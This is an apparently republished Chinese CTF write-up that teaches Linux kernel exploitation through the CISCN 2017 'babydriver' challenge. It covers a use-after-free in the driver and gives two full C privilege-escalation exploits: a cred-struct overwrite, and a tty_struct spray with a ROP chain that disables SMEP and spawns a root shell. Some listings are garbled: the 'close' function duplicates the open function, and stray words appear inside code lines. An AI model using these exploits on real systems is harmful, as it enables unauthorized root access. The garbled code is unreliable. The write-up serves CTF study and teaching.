Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】一道简单内核题入门内核利用

0
0
【技术分享】一道简单内核题入门内核利用

2017-07-26 11:13:49

阅读:1025次
点赞(0)
收藏
来源: 安全客





【技术分享】一道简单内核题入门内核利用

作者:anciety





【技术分享】一道简单内核题入门内核利用

作者:anciety

预估稿费:400 RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

对于学过用户空间pwn的同学来说,内核一直是向往但是却不知道如何下手的一个地方,最近的CISCN比赛中出现了一道内核的基础题目,我认为是一道非常适合内核入门的一道题目,所以我就这道题目,通过自己的分析,希望让大家学会如何去分析一道内核的题目,如何去完成内核的题目,如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节,学会分析。


调试环境

内核的知识很多,我没有办法将所有知识都阐述详细,我在这里默认大家已经知道了以下内容的基本概念:

内核

特权等级

内核空间与用户空间

系统调用

slab/slub分配器

内核模块/驱动

这些都是内核的基础知识,我在这里不做详细的阐述,大家可以自己去找找资料,我在这里主要将这些基础概念给大家一个直观的印象。

1. 内核

内核是操作系统的核心,目的是为上层提供一个接口,和CPU进行交互,方式就是通过设置各种CPU所需要的结构,让CPU能够提供相应的功能,比如设置虚拟内存所需要的一些结构,使得CPU能够顺利识别,从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。

2. 特权等级

CPU将指令分为各种特权等级,特权指令就是必须在特定特权下才能够执行的指令,否则会出现错误,intel将特权等级分为ring0到ring3,其中ring3特权最低,ring0最高,linux只使用了ring0和ring3,ring0为内核运行的等级,ring3为用户运行的等级。

3. 内核空间与用户空间

内核空间就是操作系统自己运行的空间,运行在ring0特权等级,拥有自己的空间,位于内存的高地址,而用户空间则是我们平时应用程序运行的空间,运行在ring3特权等级,使用较低地址。内核拥有自己的栈,和用户空间的栈并不共用。

4. 系统调用

系统调用是linux内核向用户空间提供功能的方式,通过调用特定的系统调用,用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用,通过传入特定的参数,内核可以读取用户输入,并且输入到buf里。

通过使用系统调用,用户空间用户程序将会转入内核空间去执行,在执行完之后通过特殊方式回到用户空间,中间会涉及到用户空间与内核空间的切换。大致流程如下:

1) 进入

i. 通过swapgs切换GS段寄存器,是将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用。

ii. 将当前栈顶(用户空间栈顶)记录在CPU独占变量区域里,将CPU独占区域里记录的内核栈顶放入rsp(esp)。

iii. 通过push保存各寄存器值,代码如下:

http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S

1.ENTRY(entry_SYSCALL_64) 2./*SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令*/ 3.SWAPGS_UNSAFE_STACK 4. 5./*保存栈值,并设置内核栈*/ 6.movq%rsp,PER_CPU_VAR(rsp_scratch) 7.movqPER_CPU_VAR(cpu_current_top_of_stack),%rsp 8. 9. 10./*通过push保存寄存器值,形成一个pt_regs结构*/ 11./*Constructstructpt_regsonstack*/ 12.pushq$__USER_DS/*pt_regs->ss*/ 13.pushqPER_CPU_VAR(rsp_scratch)/*pt_regs->sp*/ 14.pushq%r11/*pt_regs->flags*/ 15.pushq$__USER_CS/*pt_regs->cs*/ 16.pushq%rcx/*pt_regs->ip*/ 17.pushq%rax/*pt_regs->orig_ax*/ 18.pushq%rdi/*pt_regs->di*/ 19.pushq%rsi/*pt_regs->si*/ 20.pushq%rdx/*pt_regs->dx*/ 21.pushq%rcxtuichu/*pt_regs->cx*/ 22.pushq$-ENOSYS/*pt_regs->ax*/ 23.pushq%r8/*pt_regs->r8*/ 24.pushq%r9/*pt_regs->r9*/ 25.pushq%r10/*pt_regs->r10*/ 26.pushq%r11/*pt_regs->r11*/ 27.sub$(6*8),%rsp/*pt_regs->bp,bx,r12-15notsaved*/

iv. 通过汇编指令判断是否是x32_abi(暂时可以忽略这个内容)。

v. 通过系统调用号,跳到全局变量sys_call_table相应位置继续执行相应系统调用。

2) 退出

i. 通过swapgs恢复GS值。

ii. 通过sysretq或者iretq恢复到用户空间进行执行,如果使用Iretq还需要给出用户空间的一些信息,比如CS值,eflags标志寄存器值,用户栈顶位置等等信息。

5. slab/slub分配器

这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。

slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。

6. 内核模块/驱动

这是linux拓展内核功能的一个功能,通过向内核插入内核模块可以动态的加载一些驱动代码,用来负责和硬件进行交互,或者在内核层提供一些软件功能。内核模块运行在内核空间,可以通过设备文件来进行交互,比如/dev/目录下的文件很多就是设备文件,打开设备文件,关闭设备文件等等就是使用open、close函数,这些函数在内核模块里进行定义,然后在加载的时候按照一定的规则进行设置,所以通过这些函数可以调用到内核里的模块的相应设置好的函数,最后在内核完成一系列操作,为用户空间提供功能。

SMEP是我需要稍微提一下的,这是一个内核的保护机制,目的是避免ret2usr利用方式,ret2usr即从内核空间劫持控制流,使得控制流回到用户空间,以ring 0执行用户空间代码来进行提权。开启了SMEP的时候,CPU将会阻止在ring 0执行用户空间代码。这是一个CPU功能,由CPU的CR4寄存器管理,用一个位来标志是否开启SMEP保护。不过,SMEP保护并没有阻止直接从用户空间获取数据,只是阻止执行用户空间代码。


题目

好了基础基本就提到这里,让我们来看一道题,这道题是ciscn-2017的babydriver,题目难度不大,很适合入门,让我们可以很直观的感受到完成一次内核pwn的整个过程。

1. 题目分析

题目给出了3个文件,一个rootfs.cpio一个bzImage和一个boot.sh,boot.sh内容如下:

1.#!/bin/bash 2. 3.qemu-system-x86_64-initrdrootfs.cpio-kernelbzImage-append'console=ttyS0root=/dev/ramoops=panicpanic=1'-enable-kvm-monitor/dev/null-m64M--nographic-smpcores=1,threads=1-cpukvm64,+smep

很显然我们需要安装qemu,这个就自己去安装啦。

然后就是一个对qemu的调用,kernel使用了bzImage,然后用rootfs.cpio作为initrd,其实就是bzImage是内核的映像,然后rootfs.cpio是根文件的映像。在远程,也就是使用这个boot.sh打开的qemu环境,我们能接触到的就是在这个qemu环境里。

qemu环境里有flag,可是我们没有权限读取,必须是root才有权限读取,显然我们需要进行提权。

通过查看/lib/modules/目录,我们发现有一个babydriver.ko,通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里,我们还可以看到其加载的地址,很好!

接下来的任务就很显然了,我们需要看懂babydriver.ko干了什么。

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

open函数:

1.__int64__fastcallbabyopen(inode*inode,file*filp,__int64a3,__int64a4) 2.{ 3.char*v4;//rax@1 4.__int64v5;//rdx@1 5. 6._fentry__(inode,filp,a3,a4); 7.LODWORD(v4)=kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches+6),0x24000C0LL,64LL); 8.babydev_struct.device_buf=v4; 9.babydev_struct.device_buf_len=64LL; 10.printk("deviceopen\n",0x24000C0LL,v5); 11.return0LL; 12.}

close函数:

1.__int64__fastcallbabyopen(inode*inode,file*filp,__int64a3,__int64a4) 2.{ 3.char*v4;//rax@1 4.__int64v5;//rdx@1 5. 6._fentry__(inode,filp,a3,a4); 7.LODWORD(v4)=kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches+6),0x24000C0LL,64LL); 8.babydev_struct.device_buf=v4; 9.babydev_struct.device_buf_len=64LL; 10.printk("deviceopen\n",0x24000C0LL,v5); 11.return0LL; 12.}

ioctl函数:

1.__int64__fastcallbabyioctl(file*filp,__int64command,unsigned__int64arg,__int64a4) 2.{ 3.size_tv4;//rdx@1 4.size_tv5;//rbx@1 5.char*v6;//rax@2 6.__int64v7;//rdx@2 7.__int64result;//rax@2 8. 9._fentry__(filp,command,arg,a4); 10.v5=v4;silu 11.if((_DWORD)command==0x10001) 12.{ 13.kfree(babydev_struct.device_buf); 14.LODWORD(v6)=_kmalloc(v5,0x24000C0LL); 15.babydev_struct.device_buf=v6; 16.babydev_struct.device_buf_len=v5; 17.printk("allocdone\n",0x24000C0LL,v7); 18.result=0LL; 19.} 20.else 21.{ 22.printk(&default_arg_is_format_str,v4,v4); 23.result=-22LL; 24.} 25.returnresult; 26.}

write函数:

1.ssize_t__fastcallbabywrite(file*filp,constchar*buffer,size_tlength,loff_t*offset) 2.{ 3.unsigned__int64copy_len;//rdx@1 4.ssize_tresult;//rax@2 5.ssize_tv6;//rbx@3 6. 7._fentry__(filp,buffer,length,offset); 8.if(babydev_struct.device_buf) 9.{ 10.result=-2LL; 11.if(babydev_struct.device_buf_len>copy_len) 12.{ 13.v6=copy_len; 14.copy_from_user(babydev_struct.device_buf,buffer,copy_len); 15.result=v6; 16.} 17.} 18.else 19.{ 20.result=-1LL; 21.} 22.returnresult; 23.}

read函数:

1.ssize_t__fastcallbabyread(file*filp,char*buffer,size_tlength,loff_t*offset) 2.{ 3.unsigned__int64copy_len;//rdx@1 4.ssize_tresult;//rax@2 5.ssize_tv6;//rbx@3 6. 7._fentry__(filp,buffer,length,offset); 8.if(babydev_struct.device_buf) 9.{ 10.result=-2LL; 11.if(babydev_struct.device_buf_len>copy_len) 12.{ 13.v6=copy_len; 14.copy_to_user(buffer,babydev_struct.device_buf,copy_len); 15.result=v6; 16.} 17.} 18.else 19.{ 20.result=-1LL; 21.} 22.returnresult; 23.} 源码非常简单,大概就是有一个struct,其中保存了一个buf和一个size,buf在open时通过kmem_cache_alloc进行分配,这个分配其实是和kmalloc一个原理,这里我是通过查看源码发现的,具体查看的源码如下:

http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h#L480

1.static__always_inlinevoid*kmalloc(size_tsize,gfp_tflags) 2.{ 3.if(__builtin_constant_p(size)) 4.{ 5.if(size>KMALLOC_MAX_CACHE_SIZE) 6.returnkmalloc_large(size,flags); 7.#ifndefCONFIG_SLOB 8.if(!(flags&GFP_DMA)) 9.{ 10.intindex=kmalloc_index(size); 11. 12.if(!index) 13.returnZERO_SIZE_PTR; 14. 15.returnkmem_cache_alloc_trace(kmalloc_caches[index],flags,size); 16.} 17.#endif 18.} 19.return__kmalloc(size,flags); 20.}

ifndef 是满足的,因为我们可以默认没有使用slob(猜的,因为大多数时候都是slub和slab,其中又以slub居多),所以return kmem_cache_alloc_trace其实就是open时候调用的,这里是因为常数时候编译器做了一个优化,所以看起来和kmalloc好像不太一样。

好了,open的时候kmalloc了一个大小为64的空间,然后size设置为64,release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL,不为NULL再检查大小是否满足要求,之后进行read和write操作,也就是向用户空间写或者读。

ioctl比较特殊,首先判断command是不是为0x10001,如果满足,将会释放之前的buf,新分配一个用户决定大小的空间,并且设置为size。

功能基本上就讲完了,乍一看好像没有漏洞,那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢?

我们假设我们打开了两个设备文件,也就是调用了两次open,第一次分配了,第二次其实将会覆盖第一次分配的buf,因为是全局的。有了这个思维,剩下的就好想了,如果我们release了第一个,第二个其实就已经是被释放过的了,这样,就造成了一个UAF了。

接下来我们就来讨论如何进行提权了,注意,题目是开启了SMEP保护的,从boot.sh中可以看出来。

2. 题目思路1.0

通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。

于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!

问题是,如何控制cred结构?别忘了,**相同大小的会被放在一块**,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。

好了,只剩下一个问题,大小是多少?

方法一:查看源码。因为配置比较多,效率比较低,还容易错。

方法二:编译一个带符号的内核,直接查看。

这里怎么使用方法二就是另外一篇文章的内容了,大概就是编译一个源码,然后去看符号就行了。因为一般这种内核也就是默认编译,所以相对也会比较准确的。

如果查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118

1.structcred{ 2.atomic_tusage; 3.#ifdefCONFIG_DEBUG_CREDENTIALS 4.atomic_tsubscribers;/*numberofprocessessubscribed*/ 5.void*put_addr; 6.unsignedmagic; 7.#defineCRED_MAGIC0x43736564 8.#defineCRED_MAGIC_DEAD0x44656144 9.#endif 10.kuid_tuid;/*realUIDofthetask*/ 11.kgid_tgid;/*realGIDofthetask*/ 12.kuid_tsuid;/*savedUIDofthetask*/ 13.kgid_tsgid;/*savedGIDofthetask*/ 14.kuid_teuid;/*effectiveUIDofthetask*/ 15.kgid_tegid;/*effectiveGIDofthetask*/ 16.kuid_tfsuid;/*UIDforVFSops*/ 17.kgid_tfsgid;/*GIDforVFSops*/ 18.unsignedsecurebits;/*SUID-lesssecuritymanagement*/ 19.kernel_cap_tcap_inheritable;/*capsourchildrencaninherit*/ 20.kernel_cap_tcap_permitted;/*capswe'repermitted*/ 21.kernel_cap_tcap_effective;/*capswecanactuallyuse*/ 22.kernel_cap_tcap_bset;/*capabilityboundingset*/ 23.kernel_cap_tcap_ambient;/*Ambientcapabilityset*/ 24.#ifdefCONFIG_KEYS 25.unsignedcharjit_keyring;/*defaultkeyringtoattachrequestedkeysto*/ 26.structkey__rcu*session_keyring;/*keyringinheritedoverfork*/ 27.structkey*process_keyring;/*keyringprivatetothisprocess*/ 28.structkey*thread_keyring;/*keyringprivatetothisthread*/ 29.structkey*request_key_auth;/*assumedrequest_keyauthority*/ 30.#endif 31.#ifdefCONFIG_SECURITY 32.void*security;/*subjectiveLSMsecurity*/ 33.#endif 34.structuser_struct*user;/*realuserIDsubscription*/ 35.structuser_namespace*user_ns;/*user_nsthecapsandkeyringsarerelativeto.*/ 36.structgroup_info*group_info;/*supplementarygroupsforeuid/fsgid*/ 37.structrcu_headrcu;/*RCUdeletionhook*/ 38.};

对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码,我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了。

方法就很简单了,看看exp吧。

1.#include<stdio.h> 2.#include<unistd.h> 3.#include<stdlib.h> 4.#include<fcntl.h> 5.#include<string.h> 6.#include<sys/types.h> 7.#include<sys/wait.h> 8.#include<sys/ioctl.h> 9.#include<pthread.h> 10.#defineCRED_SIZE168 11.#defineDEV_NAME"/dev/babydev" 12.charbuf[100]; 13.intmain() 14.{ 15.intfd1,fd2,ret; 16.charzero_buf[100]; 17.memset(zero_buf,0,sizeof(char)*100); 18.fd1=open(DEV_NAME,O_RDWR); 19.fd2=open(DEV_NAME,O_RDWR); 20. 21.ret=ioctl(fd1,0x10001,CRED_SIZE); 22. 23.close(fd1); 24. 25.intnow_uid=1000;//当前uid为1000 26.intpid=fork(); 27.if(pid<0) 28.{ 29.perror("forkerror"); 30.return0; 31.} 32. 33.if(!pid) 34.{ 35.//写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了。 36.ret=write(fd2,zero_buf,28); 37.now_uid=getuid(); 38.if(!now_uid) 39.{ 40.printf("getrootdone\n"); 41.//权限修改完毕,启动一个shell,就是root的shell了。 42.system("/bin/sh"); 43.exit(0); 44.} 45.else 46.{ 47.puts("failed?"); 48.exit(0); 49.} 50.} 51.else 52.{ 53.wait(NULL); 54.} 55.close(fd2); 56.return0; 57.}

3. 题目思路2.0

好了,第一种方法只是个开胃菜,非常简单非常粗暴,现在让我们来看看更麻烦的方法,使用tty_struct。关于tty的知识我在这里不想做过多解释,大家可以自行查找资料。反正tty也是一种设备,通过'/dev/ptmx'可以打开这个设备,我们要做的,就是去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流,完美!那么又该干点什么呢?

由于开启了smep,我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以,那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份,可惜我们还有更多的工作要做。

既然问题是开启了smep,那么简单,我们反正都控制了执行流,把它关掉就好了。关掉的方法就是通过写入cr4寄存器,将smep位关掉就好了,关掉smep,我们就可以回去执行提权的函数啦。

可是光是控制一次执行流是没办法做这么多工作的,而且我们也没法执行用户空间指定的代码,方法嘛,也是我们常见的方法,ROP。

通过在内核空间进行ROP,执行内核代码,关掉smep,之后回用户空间提权,然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

好了,几个难点如下:

1) 如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

2) 如何设定栈?已解决,xchg eax, esp。

3) 如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

4) 如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

5) 如何获取shell?还需要解决?直接system("/bin/sh");不就完了,用户空间的代码可是我们自己写的啊!

6) 实际问题:如何写ROP链?

剩下一个实际问题需要我们解决了,主要是,怎么找gadget?

bzImage实际上是已经被压缩过得vmlinuz,我们需要通过linux源码里scripts目录下的extract-vmlinux来extract,之后直接通过ropper或者ROPGadgets获取gadget就可以了。

接下来就是要找哪些gadget的问题了,根据之前的问题,我们需要如下的gadget:

1) xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

2) 写入cr4,来关闭smep。

3) swapgs,回到用户空间之前的准备。

4) iretq,用来回到用户空间特权级方便打开shell。

5) commit_creds

6) prepare_kernel_cred

7) 打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址,好了,解决完毕。

于是任务就简单了,让我们来看看exp:

1.#include<stdio.h> 2.#include<stdlib.h> 3.#include<unistd.h> 4.#include<sys/types.h> 5.#include<errno.h> 6.#include<sys/stat.h> 7.#include<sys/ioctl.h> 8.#include<fcntl.h> 9.#include<string.h> 10.#include<pty.h> 11.#include<sys/mman.h> 12.#include<sys/ipc.h> 13.#include<sys/sem.h> 14. 15.#defineTTY_STRUCT_SIZE0x2e0 16.#defineSPRAY_ALLOC_TIMES0x100 17. 18.intspray_fd[0x100]; 19. 20./* 21. 22.tty_struct: 23.intmagic;//4 24.structkrefkref;//4 25.structdevice*dev;//8 26.structtty_driver*driver;//8 27.conststructtty_operations*ops;//8,offset=4+4+8+8=24 28.[...] 29. 30.*/ 31. 32.structtty_operations{ 33.structtty_struct*(*lookup)(structtty_driver*driver, 34.structfile*filp,intidx); 35.int(*install)(structtty_driver*driver,structtty_struct*tty); 36.void(*remove)(structtty_driver*driver,structtty_struct*tty); 37.int(*open)(structtty_struct*tty,structfile*filp); 38.void(*close)(structtty_struct*tty,structfile*filp); 39.void(*shutdown)(structtty_struct*tty); 40.void(*cleanup)(structtty_struct*tty); 41.int(*write)(structtty_struct*tty, 42.constunsignedchar*buf,intcount); 43.int(*put_char)(structtty_struct*tty,unsignedcharch); 44.void(*flush_chars)(structtty_struct*tty); 45.int(*write_room)(structtty_struct*tty); 46.int(*chars_in_buffer)(structtty_struct*tty); 47.int(*ioctl)(structtty_struct*tty, 48.unsignedintcmd,unsignedlongarg); 49.long(*compat_ioctl)(structtty_struct*tty, 50.unsignedintcmd,unsignedlongarg); 51.void(*set_termios)(structtty_struct*tty,structktermios*old); 52.void(*throttle)(structtty_struct*tty); 53.void(*unthrottle)(structtty_struct*tty); 54.void(*stop)(structtty_struct*tty); 55.void(*start)(structtty_struct*tty); 56.void(*hangup)(structtty_struct*tty); 57.int(*break_ctl)(structtty_struct*tty,intstate); 58.void(*flush_buffer)(structtty_struct*tty); 59.void(*set_ldisc)(structtty_struct*tty); 60.void(*wait_until_sent)(structtty_struct*tty,inttimeout); 61.void(*send_xchar)(structtty_struct*tty,charch); 62.int(*tiocmget)(structtty_struct*tty); 63.int(*tiocmset)(structtty_struct*tty, 64.unsignedintset,unsignedintclear); 65.int(*resize)(structtty_struct*tty,structwinsize*ws); 66.int(*set_termiox)(structtty_struct*tty,structtermiox*tnew); 67.int(*get_icount)(structtty_struct*tty, 68.structserial_icounter_struct*icount); 69.conststructfile_operations*proc_fops; 70.}; 71. 72.typedefint__attribute__((regparm(3)))(*commit_creds_func)(unsignedlongcred); 73.typedefunsignedlong__attribute__((regparm(3)))(*prepare_kernel_cred_func)(unsignedlongcred); 74. 75./*Gadgets*/ 76.commit_creds_funccommit_creds=(commit_creds_func)0xffffffff810a1420; 77.prepare_kernel_cred_funcprepare_kernel_cred=(prepare_kernel_cred_func)0xffffffff810a1810; 78.unsignedlongnative_write_cr4=0xFFFFFFFF810635B0; 79.unsignedlongxchgeaxesp=0xFFFFFFFF81007808; 80.unsignedlongpoprdiret=0xFFFFFFFF813E7D6F; 81.//unsignedlongiretq=0xFFFFFFFF8181A797; 82.unsignedlongiretq=0xffffffff814e35ef; 83.unsignedlongswapgs=0xFFFFFFFF81063694; 84. 85./*status*/ 86.unsignedlonguser_cs,user_ss,user_eflags; 87.voidsave_stats(){ 88.asm( 89."movq%%cs,%0\n" 90."movq%%ss,%1\n" 91."pushfq\n" 92."popq%2\n" 93.:"=r"(user_cs),"=r"(user_ss),"=r"(user_eflags) 94.: 95.:"memory" 96.); 97.} 98. 99.voidget_shell(){ 100.//char*shell_str="/bin/sh"; 101.//char*args[]={shell_str,NULL}; 102.//execve(shell_str,args,NULL); 103.system("/bin/sh"); 104.} 105. 106.voidshellcode(){ 107.commit_creds(prepare_kernel_cred(0)); 108.} 109. 110.voidexploit(){ 111.char*buf=(char*)malloc(0x1000); 112.char*fake_file_operations=(char*)calloc(0x1000,1);//bigenoughtobefile_operations 113.structtty_operations*fake_tty_operations=(structtty_operations*)malloc(sizeof(structtty_operations)); 114. 115.save_stats(); 116. 117.memset(fake_tty_operations,0,sizeof(structtty_operations)); 118.fake_tty_operations->proc_fops=&fake_file_operations; 119.fake_tty_operations->ioctl=(unsignedlong)xchgeaxesp; 120. 121.intfd1=open("/dev/babydev",O_RDWR); 122.intfd2=open("/dev/babydev",O_RDWR); 123.intfd; 124.//ioctl(fd2,0x10001,0xa8);//thesame'11ascredstructsize 125.ioctl(fd2,0x10001,TTY_STRUCT_SIZE); 126.write(fd2,"helloworld",strlen("helloworld")); 127.close(fd1); 128.fd=fd2; 129. 130.//spraytty 131.puts("[+]Sprayingbufferwithtty_struct"); 132.for(inti=0;i<SPRAY_ALLOC_TIMES;i++){ 133.spray_fd[i]=open("/dev/ptmx",O_RDWR|O_NOCTTY); 134.if(spray_fd[i]<0){ 135.perror("opentty"); 136.} 137.} 138. 139.//nowwehaveatty_structinourbuffer 140.puts("[+]Readingbuffercontentfromkernelbuffer"); 141.longsize=read(fd,buf,32); 142.if(size<32){ 143.puts("[-]Readingnotcomplete!"); 144.printf("[-]Only%ldbytesread.\n",size); 145.} 146.puts("[+]Detectingbuffercontenttype"); 147.if(buf[0]!=0x01||buf[1]!=0x54){ 148.puts("[-]tty_structsprayfailed"); 149.printf("[-]Weshouldhave0x01and0x54,insteadwegot%02x%02x\n",buf[0],buf[1]); 150.puts("[-]Exiting..."); 151.exit(-1); 152.} 153. 154.puts("[+]Spraycomplete.Modifyingfunctionpointer"); 155.unsignedlong*temp=(unsignedlong*)&buf[24]; 156.*temp=(unsignedlong)fake_tty_operations; 157. 158.puts("[+]PreparingROPchain"); 159.unsignedlonglower_address=xchgeaxesp&0xFFFFFFFF; 160.unsignedlongbase=lower_address&~0xfff; 161.printf("[+]Baseaddressis%lx\n",base); 162.if(mmap(base,0x30000,7,MAP_PRIVATE|MAP_ANONYMOUS,-1,0)!=base){ 163.perror("mmap"); 164.exit(1); 165.} 166. 167.unsignedlongrop_chain[]={ 168.poprdiret, 169.0x6f0, 170.native_write_cr4, 171.(unsignedlong)shellcode, 172.swapgs, 173.base, 174.iretq, 175.(unsignedlong)get_shell, 176.user_cs, 177.user_eflags, 178.base+0x10000, 179.user_ss 180.}; 181.memcpy((void*)lower_address,rop_chain,sizeof(rop_chain)); 182. 183.puts("[+]Writingfunctionpointertothedriver"); 184.longlen=write(fd,buf,32); 185.if(len<0){ 186.perror("write"); 187.exit(1); 188.} 189. 190.puts("[+]Triggering"); 191.for(inti=0;i<256;i++){ 192.ioctl(spray_fd[i],0,0);//FFFFFFFF814D8AEDcallrax 193.} 194. 195.} 196. 197.intmain(){ 198.exploit(); 199.return0; 200.}

其中,tty_struct和tty_operations都是从源码里找到的结构,不太需要解释,file_operations的存在主要是给他一个有效的指针,避免一些可能出现的错误,然后save_state函数用来保存用户空间的cs、eflags、ss的值,在iretq的时候,需要提供rip,cs,eflags,用户栈位置,ss值,所以我们要提前保存好备用。

通过打开/dev/ptmx设备,我们就新建了tty_struct。

通过计算tty_struct的大小,提前使用ioctl将buf的大小设置为一样的大小,之后新建tty_struct的时候,tty_struct就会落在这个buf里。

之后我们通过修改tty_struct的tty_operations,设置为我们自己的tty_operations即可,我们自己的tty_operations再修改ioctl为xchg esp, eax来使得rsp指向用户空间。

而这里的位置我们提前mmap,放入rop_chain的内容,这样xchg之后rsp就指向了rop_chain开始的位置,进入了rop流程啦,最后rop结束,执行完毕,打开了root shell,提权成功!


总结

通过这道题目,我们大致了解了内核ctf题目的一个流程,还学习了利用tty_struct配合rop绕过smep进行利用的一个手法,当然,还学习了直接通过cred结构进行利用的手法,以及,我们知道了内核的漏洞和用户空间的不同之处,要按多线程的思路去考虑。

我觉得最重要的是,通过这篇文章,这道题目,我们知道了内核和用户空间的差异,以及怎么样去完成一个内核利用,和最最重要的,在不明白的时候,看!源!码! linux是个开源的操作系统,一定要利用好开源的优势,不懂的时候多去看看源码,一切都会简单许多。


参考

1. http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

2. https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html



【技术分享】一道简单内核题入门内核利用
【技术分享】一道简单内核题入门内核利用
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4148.html

Viewing all articles
Browse latest Browse all 12749